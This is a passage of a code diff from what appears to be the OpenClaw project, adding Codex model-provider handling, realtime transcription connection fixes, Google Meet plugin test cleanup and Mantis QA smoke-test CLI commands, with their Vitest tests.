state.queues.delete(key);
|
||||
}
|
||||
});
|
||||
void next
|
||||
.finally(() => {
|
||||
if (state.queues.get(key) === queued) {
|
||||
state.queues.delete(key);
|
||||
}
|
||||
})
|
||||
.catch(() => undefined);
|
||||
return next;
|
||||
}
|
||||
|
||||
function resolveThreadRequestModelProvider(params: {
|
||||
authProfileId?: string;
|
||||
modelProvider?: string;
|
||||
config?: CodexAppServerAuthProfileLookup["config"];
|
||||
}): string | undefined {
|
||||
const modelProvider = params.modelProvider?.trim();
|
||||
if (!modelProvider || modelProvider.toLowerCase() === "codex") {
|
||||
return undefined;
|
||||
}
|
||||
if (
|
||||
isCodexAppServerNativeAuthProfile(params) &&
|
||||
(modelProvider.toLowerCase() === "openai" || modelProvider.toLowerCase() === "openai-codex")
|
||||
) {
|
||||
return undefined;
|
||||
}
|
||||
return modelProvider.toLowerCase() === "openai-codex" ? "openai" : modelProvider;
|
||||
}
|
||||
|
||||
@@ -1,24 +1,37 @@
|
||||
import fs from "node:fs/promises";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { afterEach, beforeEach, describe, expect, it } from "vitest";
|
||||
import { clearRuntimeAuthProfileStoreSnapshots } from "openclaw/plugin-sdk/agent-runtime";
|
||||
import { upsertAuthProfile } from "openclaw/plugin-sdk/provider-auth";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import {
|
||||
readCodexAppServerBinding,
|
||||
writeCodexAppServerBinding,
|
||||
} from "./app-server/session-binding.js";
|
||||
import {
|
||||
setCodexConversationFastMode,
|
||||
setCodexConversationModel,
|
||||
setCodexConversationPermissions,
|
||||
} from "./conversation-control.js";
|
||||
|
||||
let tempDir: string;
|
||||
|
||||
const sharedClientMocks = vi.hoisted(() => ({
|
||||
getSharedCodexAppServerClient: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("./app-server/shared-client.js", () => sharedClientMocks);
|
||||
|
||||
describe("codex conversation controls", () => {
|
||||
beforeEach(async () => {
|
||||
tempDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-codex-control-"));
|
||||
vi.stubEnv("OPENCLAW_STATE_DIR", tempDir);
|
||||
sharedClientMocks.getSharedCodexAppServerClient.mockReset();
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
vi.unstubAllEnvs();
|
||||
clearRuntimeAuthProfileStoreSnapshots();
|
||||
await fs.rm(tempDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
@@ -47,4 +60,46 @@ describe("codex conversation controls", () => {
|
||||
sandbox: "workspace-write",
|
||||
});
|
||||
});
|
||||
|
||||
it("does not persist public OpenAI provider after model changes on native auth bindings", async () => {
|
||||
const sessionFile = path.join(tempDir, "session.jsonl");
|
||||
upsertAuthProfile({
|
||||
profileId: "work",
|
||||
credential: {
|
||||
type: "oauth",
|
||||
provider: "openai-codex",
|
||||
access: "access-token",
|
||||
refresh: "refresh-token",
|
||||
expires: Date.now() + 60_000,
|
||||
},
|
||||
});
|
||||
await writeCodexAppServerBinding(sessionFile, {
|
||||
threadId: "thread-1",
|
||||
cwd: tempDir,
|
||||
authProfileId: "work",
|
||||
model: "gpt-5.4",
|
||||
modelProvider: "openai",
|
||||
});
|
||||
sharedClientMocks.getSharedCodexAppServerClient.mockResolvedValue({
|
||||
request: vi.fn(async () => ({
|
||||
thread: { id: "thread-1", cwd: tempDir },
|
||||
model: "gpt-5.5",
|
||||
modelProvider: "openai",
|
||||
})),
|
||||
});
|
||||
|
||||
await expect(setCodexConversationModel({ sessionFile, model: "gpt-5.5" })).resolves.toBe(
|
||||
"Codex model set to gpt-5.5.",
|
||||
);
|
||||
|
||||
const raw = await fs.readFile(`${sessionFile}.codex-app-server.json`, "utf8");
|
||||
const binding = await readCodexAppServerBinding(sessionFile);
|
||||
expect(raw).not.toContain('"modelProvider": "openai"');
|
||||
expect(binding).toMatchObject({
|
||||
threadId: "thread-1",
|
||||
authProfileId: "work",
|
||||
model: "gpt-5.5",
|
||||
});
|
||||
expect(binding?.modelProvider).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -232,6 +232,8 @@ function createDeepgramRealtimeTranscriptionSession(
|
||||
reconnectDelayMs: DEEPGRAM_REALTIME_RECONNECT_DELAY_MS,
|
||||
maxQueuedBytes: DEEPGRAM_REALTIME_MAX_QUEUED_BYTES,
|
||||
connectTimeoutMessage: "Deepgram realtime transcription connection timeout",
|
||||
connectClosedBeforeReadyMessage:
|
||||
"Deepgram realtime transcription connection closed before ready",
|
||||
reconnectLimitMessage: "Deepgram realtime transcription reconnect limit reached",
|
||||
sendAudio: (audio, transport) => {
|
||||
transport.sendBinary(audio);
|
||||
|
||||
@@ -75,6 +75,44 @@ describe("discord doctor", () => {
|
||||
]);
|
||||
});
|
||||
|
||||
it("normalizes legacy discord streaming progress config", () => {
|
||||
const normalize = discordDoctor.normalizeCompatibilityConfig;
|
||||
expect(normalize).toBeDefined();
|
||||
if (!normalize) {
|
||||
return;
|
||||
}
|
||||
|
||||
const result = normalize({
|
||||
cfg: {
|
||||
channels: {
|
||||
discord: {
|
||||
streaming: {
|
||||
mode: "partial",
|
||||
progress: {
|
||||
label: "Working",
|
||||
maxLines: 3,
|
||||
toolProgress: false,
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
} as never,
|
||||
});
|
||||
|
||||
expect(result.config.channels?.discord).toEqual({
|
||||
streaming: {
|
||||
mode: "partial",
|
||||
preview: {
|
||||
toolProgress: false,
|
||||
},
|
||||
},
|
||||
});
|
||||
expect(result.changes).toEqual([
|
||||
"Moved channels.discord.streaming.progress.toolProgress → channels.discord.streaming.preview.toolProgress.",
|
||||
"Removed channels.discord.streaming.progress legacy object.",
|
||||
]);
|
||||
});
|
||||
|
||||
it("moves account voice.tts.edge into providers.microsoft", () => {
|
||||
const normalize = discordDoctor.normalizeCompatibilityConfig;
|
||||
expect(normalize).toBeDefined();
|
||||
|
||||
@@ -1866,51 +1866,59 @@ describe("google-meet plugin", () => {
|
||||
});
|
||||
|
||||
it("grants local Chrome Meet media permissions against the opened tab", async () => {
|
||||
const originalPlatform = process.platform;
|
||||
Object.defineProperty(process, "platform", { value: "darwin" });
|
||||
const callGatewayFromCli = mockLocalMeetBrowserRequest({
|
||||
inCall: true,
|
||||
micMuted: false,
|
||||
title: "Meet call",
|
||||
url: "https://meet.google.com/abc-defg-hij",
|
||||
});
|
||||
const { methods } = setup({
|
||||
defaultMode: "realtime",
|
||||
defaultTransport: "chrome",
|
||||
chrome: {
|
||||
audioBridgeCommand: ["bridge", "start"],
|
||||
},
|
||||
realtime: { introMessage: "" },
|
||||
});
|
||||
const handler = methods.get("googlemeet.join") as
|
||||
| ((ctx: {
|
||||
params: Record<string, unknown>;
|
||||
respond: ReturnType<typeof vi.fn>;
|
||||
}) => Promise<void>)
|
||||
| undefined;
|
||||
const respond = vi.fn();
|
||||
try {
|
||||
const { methods } = setup({
|
||||
defaultMode: "realtime",
|
||||
defaultTransport: "chrome",
|
||||
chrome: {
|
||||
audioBridgeCommand: ["bridge", "start"],
|
||||
},
|
||||
realtime: { introMessage: "" },
|
||||
});
|
||||
const handler = methods.get("googlemeet.join") as
|
||||
| ((ctx: {
|
||||
params: Record<string, unknown>;
|
||||
respond: ReturnType<typeof vi.fn>;
|
||||
}) => Promise<void>)
|
||||
| undefined;
|
||||
const respond = vi.fn();
|
||||
|
||||
await handler?.({
|
||||
params: { url: "https://meet.google.com/abc-defg-hij" },
|
||||
respond,
|
||||
});
|
||||
await handler?.({
|
||||
params: { url: "https://meet.google.com/abc-defg-hij" },
|
||||
respond,
|
||||
});
|
||||
|
||||
expect(respond.mock.calls[0]?.[0]).toBe(true);
|
||||
expect(callGatewayFromCli).toHaveBeenCalledWith(
|
||||
"browser.request",
|
||||
expect.any(Object),
|
||||
expect.objectContaining({
|
||||
method: "POST",
|
||||
path: "/permissions/grant",
|
||||
body: expect.objectContaining({
|
||||
origin: "https://meet.google.com",
|
||||
permissions: ["audioCapture", "videoCapture"],
|
||||
targetId: "local-meet-tab",
|
||||
expect(respond.mock.calls[0]?.[0]).toBe(true);
|
||||
expect(callGatewayFromCli).toHaveBeenCalledWith(
|
||||
"browser.request",
|
||||
expect.any(Object),
|
||||
expect.objectContaining({
|
||||
method: "POST",
|
||||
path: "/permissions/grant",
|
||||
body: expect.objectContaining({
|
||||
origin: "https://meet.google.com",
|
||||
permissions: ["audioCapture", "videoCapture"],
|
||||
targetId: "local-meet-tab",
|
||||
}),
|
||||
}),
|
||||
}),
|
||||
{ progress: false },
|
||||
);
|
||||
{ progress: false },
|
||||
);
|
||||
} finally {
|
||||
Object.defineProperty(process, "platform", { value: originalPlatform });
|
||||
}
|
||||
});
|
||||
|
||||
it("starts the local realtime audio bridge after Meet is inspected", async () => {
|
||||
const originalPlatform = process.platform;
|
||||
Object.defineProperty(process, "platform", { value: "darwin" });
|
||||
const events: string[] = [];
|
||||
const callGatewayFromCli = vi.fn(
|
||||
async (
|
||||
@@ -1951,43 +1959,51 @@ describe("google-meet plugin", () => {
|
||||
},
|
||||
);
|
||||
chromeTransportTesting.setDepsForTest({ callGatewayFromCli });
|
||||
const { methods } = setup(
|
||||
{
|
||||
defaultMode: "realtime",
|
||||
defaultTransport: "chrome",
|
||||
chrome: {
|
||||
audioBridgeCommand: ["bridge", "start"],
|
||||
try {
|
||||
const { methods } = setup(
|
||||
{
|
||||
defaultMode: "realtime",
|
||||
defaultTransport: "chrome",
|
||||
chrome: {
|
||||
audioBridgeCommand: ["bridge", "start"],
|
||||
},
|
||||
realtime: { introMessage: "" },
|
||||
},
|
||||
realtime: { introMessage: "" },
|
||||
},
|
||||
{
|
||||
runCommandWithTimeoutHandler: async (argv) => {
|
||||
events.push(`command:${argv.join(" ")}`);
|
||||
return argv[0] === "/usr/sbin/system_profiler"
|
||||
? { code: 0, stdout: "BlackHole 2ch", stderr: "" }
|
||||
: { code: 0, stdout: "", stderr: "" };
|
||||
{
|
||||
runCommandWithTimeoutHandler: async (argv) => {
|
||||
events.push(`command:${argv.join(" ")}`);
|
||||
return argv[0] === "/usr/sbin/system_profiler"
|
||||
? { code: 0, stdout: "BlackHole 2ch", stderr: "" }
|
||||
: { code: 0, stdout: "", stderr: "" };
|
||||
},
|
||||
},
|
||||
},
|
||||
);
|
||||
const handler = methods.get("googlemeet.join") as
|
||||
| ((ctx: {
|
||||
params: Record<string, unknown>;
|
||||
respond: ReturnType<typeof vi.fn>;
|
||||
}) => Promise<void>)
|
||||
| undefined;
|
||||
const respond = vi.fn();
|
||||
);
|
||||
const handler = methods.get("googlemeet.join") as
|
||||
| ((ctx: {
|
||||
params: Record<string, unknown>;
|
||||
respond: ReturnType<typeof vi.fn>;
|
||||
}) => Promise<void>)
|
||||
| undefined;
|
||||
const respond = vi.fn();
|
||||
|
||||
await handler?.({
|
||||
params: { url: "https://meet.google.com/abc-defg-hij" },
|
||||
respond,
|
||||
});
|
||||
await handler?.({
|
||||
params: { url: "https://meet.google.com/abc-defg-hij" },
|
||||
respond,
|
||||
});
|
||||
|
||||
expect(respond.mock.calls[0]?.[0]).toBe(true);
|
||||
expect(events.indexOf("browser:/act")).toBeGreaterThan(-1);
|
||||
expect(events.indexOf("command:bridge start")).toBeGreaterThan(events.indexOf("browser:/act"));
|
||||
expect(respond.mock.calls[0]?.[0]).toBe(true);
|
||||
expect(events.indexOf("browser:/act")).toBeGreaterThan(-1);
|
||||
expect(events.indexOf("command:bridge start")).toBeGreaterThan(
|
||||
events.indexOf("browser:/act"),
|
||||
);
|
||||
} finally {
|
||||
Object.defineProperty(process, "platform", { value: originalPlatform });
|
||||
}
|
||||
});
|
||||
|
||||
it("does not start the local realtime audio bridge while Meet admission is pending", async () => {
|
||||
const originalPlatform = process.platform;
|
||||
Object.defineProperty(process, "platform", { value: "darwin" });
|
||||
const events: string[] = [];
|
||||
const callGatewayFromCli = vi.fn(
|
||||
async (
|
||||
@@ -2028,41 +2044,45 @@ describe("google-meet plugin", () => {
|
||||
},
|
||||
);
|
||||
chromeTransportTesting.setDepsForTest({ callGatewayFromCli });
|
||||
const { methods } = setup(
|
||||
{
|
||||
defaultMode: "realtime",
|
||||
defaultTransport: "chrome",
|
||||
chrome: {
|
||||
audioBridgeCommand: ["bridge", "start"],
|
||||
waitForInCallMs: 1,
|
||||
try {
|
||||
const { methods } = setup(
|
||||
{
|
||||
defaultMode: "realtime",
|
||||
defaultTransport: "chrome",
|
||||
chrome: {
|
||||
audioBridgeCommand: ["bridge", "start"],
|
||||
waitForInCallMs: 1,
|
||||
},
|
||||
realtime: { introMessage: "" },
|
||||
},
|
||||
realtime: { introMessage: "" },
|
||||
},
|
||||
{
|
||||
runCommandWithTimeoutHandler: async (argv) => {
|
||||
events.push(`command:${argv.join(" ")}`);
|
||||
return argv[0] === "/usr/sbin/system_profiler"
|
||||
? { code: 0, stdout: "BlackHole 2ch", stderr: "" }
|
||||
: { code: 0, stdout: "", stderr: "" };
|
||||
{
|
||||
runCommandWithTimeoutHandler: async (argv) => {
|
||||
events.push(`command:${argv.join(" ")}`);
|
||||
return argv[0] === "/usr/sbin/system_profiler"
|
||||
? { code: 0, stdout: "BlackHole 2ch", stderr: "" }
|
||||
: { code: 0, stdout: "", stderr: "" };
|
||||
},
|
||||
},
|
||||
},
|
||||
);
|
||||
const handler = methods.get("googlemeet.join") as
|
||||
| ((ctx: {
|
||||
params: Record<string, unknown>;
|
||||
respond: ReturnType<typeof vi.fn>;
|
||||
}) => Promise<void>)
|
||||
| undefined;
|
||||
const respond = vi.fn();
|
||||
);
|
||||
const handler = methods.get("googlemeet.join") as
|
||||
| ((ctx: {
|
||||
params: Record<string, unknown>;
|
||||
respond: ReturnType<typeof vi.fn>;
|
||||
}) => Promise<void>)
|
||||
| undefined;
|
||||
const respond = vi.fn();
|
||||
|
||||
await handler?.({
|
||||
params: { url: "https://meet.google.com/abc-defg-hij" },
|
||||
respond,
|
||||
});
|
||||
await handler?.({
|
||||
params: { url: "https://meet.google.com/abc-defg-hij" },
|
||||
respond,
|
||||
});
|
||||
|
||||
expect(respond.mock.calls[0]?.[0]).toBe(true);
|
||||
expect(events).toContain("browser:/act");
|
||||
expect(events).not.toContain("command:bridge start");
|
||||
expect(respond.mock.calls[0]?.[0]).toBe(true);
|
||||
expect(events).toContain("browser:/act");
|
||||
expect(events).not.toContain("command:bridge start");
|
||||
} finally {
|
||||
Object.defineProperty(process, "platform", { value: originalPlatform });
|
||||
}
|
||||
});
|
||||
|
||||
it("refreshes observe-only caption health when status is requested", async () => {
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "@openclaw/memory-lancedb",
|
||||
"version": "2026.5.3",
|
||||
"version": "2026.5.3-1",
|
||||
"description": "OpenClaw LanceDB-backed long-term memory plugin with auto-recall/capture",
|
||||
"repository": {
|
||||
"type": "git",
|
||||
|
||||
@@ -54,22 +54,17 @@ type SentRealtimeEvent = {
|
||||
type: string;
|
||||
audio?: string;
|
||||
session?: {
|
||||
type?: string;
|
||||
audio?: {
|
||||
input?: {
|
||||
format?: { type?: string };
|
||||
transcription?: {
|
||||
model?: string;
|
||||
language?: string;
|
||||
prompt?: string;
|
||||
};
|
||||
turn_detection?: {
|
||||
type?: string;
|
||||
threshold?: number;
|
||||
prefix_padding_ms?: number;
|
||||
silence_duration_ms?: number;
|
||||
};
|
||||
};
|
||||
input_audio_format?: string;
|
||||
input_audio_transcription?: {
|
||||
model?: string;
|
||||
language?: string;
|
||||
prompt?: string;
|
||||
};
|
||||
turn_detection?: {
|
||||
type?: string;
|
||||
threshold?: number;
|
||||
prefix_padding_ms?: number;
|
||||
silence_duration_ms?: number;
|
||||
};
|
||||
};
|
||||
};
|
||||
@@ -180,22 +175,17 @@ describe("buildOpenAIRealtimeTranscriptionProvider", () => {
|
||||
{
|
||||
type: "transcription_session.update",
|
||||
session: {
|
||||
type: "transcription",
|
||||
audio: {
|
||||
input: {
|
||||
format: { type: "audio/pcmu" },
|
||||
transcription: {
|
||||
model: "gpt-4o-transcribe",
|
||||
language: "en",
|
||||
prompt: "expect OpenClaw product names",
|
||||
},
|
||||
turn_detection: {
|
||||
type: "server_vad",
|
||||
threshold: 0.45,
|
||||
prefix_padding_ms: 300,
|
||||
silence_duration_ms: 900,
|
||||
},
|
||||
},
|
||||
input_audio_format: "g711_ulaw",
|
||||
input_audio_transcription: {
|
||||
model: "gpt-4o-transcribe",
|
||||
language: "en",
|
||||
prompt: "expect OpenClaw product names",
|
||||
},
|
||||
turn_detection: {
|
||||
type: "server_vad",
|
||||
threshold: 0.45,
|
||||
prefix_padding_ms: 300,
|
||||
silence_duration_ms: 900,
|
||||
},
|
||||
},
|
||||
},
|
||||
@@ -209,22 +199,17 @@ describe("buildOpenAIRealtimeTranscriptionProvider", () => {
|
||||
{
|
||||
type: "transcription_session.update",
|
||||
session: {
|
||||
type: "transcription",
|
||||
audio: {
|
||||
input: {
|
||||
format: { type: "audio/pcmu" },
|
||||
transcription: {
|
||||
model: "gpt-4o-transcribe",
|
||||
language: "en",
|
||||
prompt: "expect OpenClaw product names",
|
||||
},
|
||||
turn_detection: {
|
||||
type: "server_vad",
|
||||
threshold: 0.45,
|
||||
prefix_padding_ms: 300,
|
||||
silence_duration_ms: 900,
|
||||
},
|
||||
},
|
||||
input_audio_format: "g711_ulaw",
|
||||
input_audio_transcription: {
|
||||
model: "gpt-4o-transcribe",
|
||||
language: "en",
|
||||
prompt: "expect OpenClaw product names",
|
||||
},
|
||||
turn_detection: {
|
||||
type: "server_vad",
|
||||
threshold: 0.45,
|
||||
prefix_padding_ms: 300,
|
||||
silence_duration_ms: 900,
|
||||
},
|
||||
},
|
||||
},
|
||||
|
||||
@@ -138,6 +138,7 @@ function createOpenAIRealtimeTranscriptionSession(
|
||||
maxReconnectAttempts: OPENAI_REALTIME_TRANSCRIPTION_MAX_RECONNECT_ATTEMPTS,
|
||||
reconnectDelayMs: OPENAI_REALTIME_TRANSCRIPTION_RECONNECT_DELAY_MS,
|
||||
connectTimeoutMessage: "OpenAI realtime transcription connection timeout",
|
||||
connectClosedBeforeReadyMessage: "OpenAI realtime transcription connection closed before ready",
|
||||
reconnectLimitMessage: "OpenAI realtime transcription reconnect limit reached",
|
||||
sendAudio: (audio, transport) => {
|
||||
transport.sendJson({
|
||||
@@ -149,24 +150,17 @@ function createOpenAIRealtimeTranscriptionSession(
|
||||
transport.sendJson({
|
||||
type: "transcription_session.update",
|
||||
session: {
|
||||
type: "transcription",
|
||||
audio: {
|
||||
input: {
|
||||
format: {
|
||||
type: "audio/pcmu",
|
||||
},
|
||||
transcription: {
|
||||
model: config.model,
|
||||
...(config.language ? { language: config.language } : {}),
|
||||
...(config.prompt ? { prompt: config.prompt } : {}),
|
||||
},
|
||||
turn_detection: {
|
||||
type: "server_vad",
|
||||
threshold: config.vadThreshold,
|
||||
prefix_padding_ms: 300,
|
||||
silence_duration_ms: config.silenceDurationMs,
|
||||
},
|
||||
},
|
||||
input_audio_format: "g711_ulaw",
|
||||
input_audio_transcription: {
|
||||
model: config.model,
|
||||
...(config.language ? { language: config.language } : {}),
|
||||
...(config.prompt ? { prompt: config.prompt } : {}),
|
||||
},
|
||||
turn_detection: {
|
||||
type: "server_vad",
|
||||
threshold: config.vadThreshold,
|
||||
prefix_padding_ms: 300,
|
||||
silence_duration_ms: config.silenceDurationMs,
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
@@ -394,6 +394,27 @@ describe("buildOpenAIRealtimeVoiceProvider", () => {
|
||||
expect(bridge.isConnected()).toBe(false);
|
||||
});
|
||||
|
||||
it("rejects connection when the socket closes before session readiness", async () => {
|
||||
const provider = buildOpenAIRealtimeVoiceProvider();
|
||||
const bridge = provider.createBridge({
|
||||
providerConfig: { apiKey: "sk-test" }, // pragma: allowlist secret
|
||||
onAudio: vi.fn(),
|
||||
onClearAudio: vi.fn(),
|
||||
});
|
||||
const connecting = bridge.connect();
|
||||
const socket = FakeWebSocket.instances[0];
|
||||
if (!socket) {
|
||||
throw new Error("expected bridge to create a websocket");
|
||||
}
|
||||
|
||||
socket.readyState = FakeWebSocket.OPEN;
|
||||
socket.emit("open");
|
||||
socket.close(1006, "session closed");
|
||||
|
||||
await expect(connecting).rejects.toThrow("OpenAI realtime connection closed before ready");
|
||||
expect(bridge.isConnected()).toBe(false);
|
||||
});
|
||||
|
||||
it("can request PCM16 24 kHz realtime audio for Chrome command-pair bridges", async () => {
|
||||
const provider = buildOpenAIRealtimeVoiceProvider();
|
||||
const bridge = provider.createBridge({
|
||||
|
||||
@@ -425,6 +425,10 @@ class OpenAIRealtimeVoiceBridge implements RealtimeVoiceBridge {
|
||||
this.config.onClose?.("completed");
|
||||
return;
|
||||
}
|
||||
if (!this.sessionConfigured && !settled) {
|
||||
settleReject(new Error("OpenAI realtime connection closed before ready"));
|
||||
return;
|
||||
}
|
||||
void this.attemptReconnect();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -49,7 +49,9 @@ const {
|
||||
runQaSuiteCommand,
|
||||
runQaTelegramCommand,
|
||||
runMantisBeforeAfterCommand,
|
||||
runMantisDesktopBrowserSmokeCommand,
|
||||
runMantisDiscordSmokeCommand,
|
||||
runMantisSlackDesktopSmokeCommand,
|
||||
} = vi.hoisted(() => ({
|
||||
runQaCredentialsAddCommand: vi.fn(),
|
||||
runQaCredentialsListCommand: vi.fn(),
|
||||
@@ -59,7 +61,9 @@ const {
|
||||
runQaSuiteCommand: vi.fn(),
|
||||
runQaTelegramCommand: vi.fn(),
|
||||
runMantisBeforeAfterCommand: vi.fn(),
|
||||
runMantisDesktopBrowserSmokeCommand: vi.fn(),
|
||||
runMantisDiscordSmokeCommand: vi.fn(),
|
||||
runMantisSlackDesktopSmokeCommand: vi.fn(),
|
||||
}));
|
||||
|
||||
const { listQaRunnerCliContributions } = vi.hoisted(() => ({
|
||||
@@ -78,7 +82,9 @@ vi.mock("./live-transports/telegram/cli.runtime.js", () => ({
|
||||
|
||||
vi.mock("./mantis/cli.runtime.js", () => ({
|
||||
runMantisBeforeAfterCommand,
|
||||
runMantisDesktopBrowserSmokeCommand,
|
||||
runMantisDiscordSmokeCommand,
|
||||
runMantisSlackDesktopSmokeCommand,
|
||||
}));
|
||||
|
||||
vi.mock("./cli.runtime.js", () => ({
|
||||
@@ -105,7 +111,9 @@ describe("qa cli registration", () => {
|
||||
runQaSuiteCommand.mockReset();
|
||||
runQaTelegramCommand.mockReset();
|
||||
runMantisBeforeAfterCommand.mockReset();
|
||||
runMantisDesktopBrowserSmokeCommand.mockReset();
|
||||
runMantisDiscordSmokeCommand.mockReset();
|
||||
runMantisSlackDesktopSmokeCommand.mockReset();
|
||||
listQaRunnerCliContributions
|
||||
.mockReset()
|
||||
.mockReturnValue([createAvailableQaRunnerContribution()]);
|
||||
@@ -208,6 +216,141 @@ describe("qa cli registration", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("routes mantis desktop browser smoke flags into the mantis runtime command", async () => {
|
||||
await program.parseAsync([
|
||||
"node",
|
||||
"openclaw",
|
||||
"qa",
|
||||
"mantis",
|
||||
"desktop-browser-smoke",
|
||||
"--repo-root",
|
||||
"/tmp/openclaw-repo",
|
||||
"--output-dir",
|
||||
".artifacts/qa-e2e/mantis/desktop-browser",
|
||||
"--browser-url",
|
||||
"https://openclaw.ai/docs",
|
||||
"--html-file",
|
||||
"qa-artifacts/timeline.html",
|
||||
"--crabbox-bin",
|
||||
"/tmp/crabbox",
|
||||
"--provider",
|
||||
"hetzner",
|
||||
"--class",
|
||||
"beast",
|
||||
"--lease-id",
|
||||
"cbx_123abc",
|
||||
"--idle-timeout",
|
||||
"30m",
|
||||
"--ttl",
|
||||
"90m",
|
||||
"--keep-lease",
|
||||
]);
|
||||
|
||||
expect(runMantisDesktopBrowserSmokeCommand).toHaveBeenCalledWith({
|
||||
browserUrl: "https://openclaw.ai/docs",
|
||||
crabboxBin: "/tmp/crabbox",
|
||||
htmlFile: "qa-artifacts/timeline.html",
|
||||
idleTimeout: "30m",
|
||||
keepLease: true,
|
||||
leaseId: "cbx_123abc",
|
||||
machineClass: "beast",
|
||||
outputDir: ".artifacts/qa-e2e/mantis/desktop-browser",
|
||||
provider: "hetzner",
|
||||
repoRoot: "/tmp/openclaw-repo",
|
||||
ttl: "90m",
|
||||
});
|
||||
});
|
||||
|
||||
it("does not shadow mantis desktop browser runtime env defaults", async () => {
|
||||
await program.parseAsync([
|
||||
"node",
|
||||
"openclaw",
|
||||
"qa",
|
||||
"mantis",
|
||||
"desktop-browser-smoke",
|
||||
"--repo-root",
|
||||
"/tmp/openclaw-repo",
|
||||
]);
|
||||
|
||||
expect(runMantisDesktopBrowserSmokeCommand).toHaveBeenCalledWith({
|
||||
browserUrl: undefined,
|
||||
crabboxBin: undefined,
|
||||
htmlFile: undefined,
|
||||
idleTimeout: undefined,
|
||||
keepLease: undefined,
|
||||
leaseId: undefined,
|
||||
machineClass: undefined,
|
||||
outputDir: undefined,
|
||||
provider: undefined,
|
||||
repoRoot: "/tmp/openclaw-repo",
|
||||
ttl: undefined,
|
||||
});
|
||||
});
|
||||
|
||||
it("routes mantis Slack desktop smoke flags into the mantis runtime command", async () => {
|
||||
await program.parseAsync([
|
||||
"node",
|
||||
"openclaw",
|
||||
"qa",
|
||||
"mantis",
|
||||
"slack-desktop-smoke",
|
||||
"--repo-root",
|
||||
"/tmp/openclaw-repo",
|
||||
"--output-dir",
|
||||
".artifacts/qa-e2e/mantis/slack-desktop",
|
||||
"--crabbox-bin",
|
||||
"/tmp/crabbox",
|
||||
"--provider",
|
||||
"hetzner",
|
||||
"--machine-class",
|
||||
"beast",
|
||||
"--lease-id",
|
||||
"cbx_123abc",
|
||||
"--idle-timeout",
|
||||
"45m",
|
||||
"--ttl",
|
||||
"120m",
|
||||
"--slack-url",
|
||||
"https://app.slack.com/client/T123/C123",
|
||||
"--provider-mode",
|
||||
"live-frontier",
|
||||
"--model",
|
||||
"openai/gpt-5.4",
|
||||
"--alt-model",
|
||||
"openai/gpt-5.4",
|
||||
"--scenario",
|
||||
"slack-canary",
|
||||
"--credential-source",
|
||||
"env",
|
||||
"--credential-role",
|
||||
"maintainer",
|
||||
"--fast",
|
||||
"--keep-lease",
|
||||
]);
|
||||
|
||||
expect(runMantisSlackDesktopSmokeCommand).toHaveBeenCalledWith({
|
||||
alternateModel: "openai/gpt-5.4",
|
||||
crabboxBin: "/tmp/crabbox",
|
||||
credentialRole: "maintainer",
|
||||
credentialSource: "env",
|
||||
fastMode: true,
|
||||
gatewaySetup: undefined,
|
||||
idleTimeout: "45m",
|
||||
keepLease: true,
|
||||
leaseId: "cbx_123abc",
|
||||
machineClass: "beast",
|
||||
outputDir: ".artifacts/qa-e2e/mantis/slack-desktop",
|
||||
primaryModel: "openai/gpt-5.4",
|
||||
provider: "hetzner",
|
||||
providerMode: "live-frontier",
|
||||
repoRoot: "/tmp/openclaw-repo",
|
||||
scenarioIds: ["slack-canary"],
|
||||
slackChannelId: undefined,
|
||||
slackUrl: "https://app.slack.com/client/T123/C123",
|
||||
ttl: "120m",
|
||||
});
|
||||
});
|
||||
|
||||
it("routes coverage report flags into the qa runtime command", async () => {
|
||||
await program.parseAsync([
|
||||
"node",
|
||||
|
||||
@@ -1,5 +1,13 @@
|
||||
import {
|
||||
runMantisDesktopBrowserSmoke,
|
||||
type MantisDesktopBrowserSmokeOptions,
|
||||
} from "./desktop-browser-smoke.runtime.js";
|
||||
import { runMantisDiscordSmoke, type MantisDiscordSmokeOptions } from "./discord-smoke.runtime.js";
|
||||
import { runMantisBeforeAfter, type MantisBeforeAfterOptions } from "./run.runtime.js";
|
||||
import {
|
||||
runMantisSlackDesktopSmoke,
|
||||
type MantisSlackDesktopSmokeOptions,
|
||||
} from "./slack-desktop-smoke.runtime.js";
|
||||
|
||||
export async function runMantisDiscordSmokeCommand(opts: MantisDiscordSmokeOptions) {
|
||||
const result = await runMantisDiscordSmoke(opts);
|
||||
@@ -18,3 +26,27 @@ export async function runMantisBeforeAfterCommand(opts: MantisBeforeAfterOptions
|
||||
process.exitCode = 1;
|
||||
}
|
||||
}
|
||||
|
||||
export async function runMantisDesktopBrowserSmokeCommand(opts: MantisDesktopBrowserSmokeOptions) {
|
||||
const result = await runMantisDesktopBrowserSmoke(opts);
|
||||
process.stdout.write(`Mantis desktop browser report: ${result.reportPath}\n`);
|
||||
process.stdout.write(`Mantis desktop browser summary: ${result.summaryPath}\n`);
|
||||
if (result.screenshotPath) {
|
||||
process.stdout.write(`Mantis desktop browser screenshot: ${result.screenshotPath}\n`);
|
||||
}
|
||||
if (result.status === "fail") {
|
||||
process.exitCode = 1;
|
||||
}
|
||||
}
|
||||
|
||||
export async function runMantisSlackDesktopSmokeCommand(opts: MantisSlackDesktopSmokeOptions) {
|
||||
const result = await runMantisSlackDesktopSmoke(opts);
|
||||
process.stdout.write(`Mantis Slack desktop report: ${result.reportPath}\n`);
|
||||
process.stdout.write(`Mantis Slack desktop summary: ${result.summaryPath}\n`);
|
||||
if (result.screenshotPath) {
|
||||
process.stdout.write(`Mantis Slack desktop screenshot: ${result.screenshotPath}\n`);
|
||||
}
|
||||
if (result.status === "fail") {
|
||||
process.exitCode = 1;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
import type { Command } from "commander";
|
||||
import { createLazyCliRuntimeLoader } from "../live-transports/shared/live-transport-cli.js";
|
||||
import type { MantisDesktopBrowserSmokeOptions } from "./desktop-browser-smoke.runtime.js";
|
||||
import type { MantisDiscordSmokeOptions } from "./discord-smoke.runtime.js";
|
||||
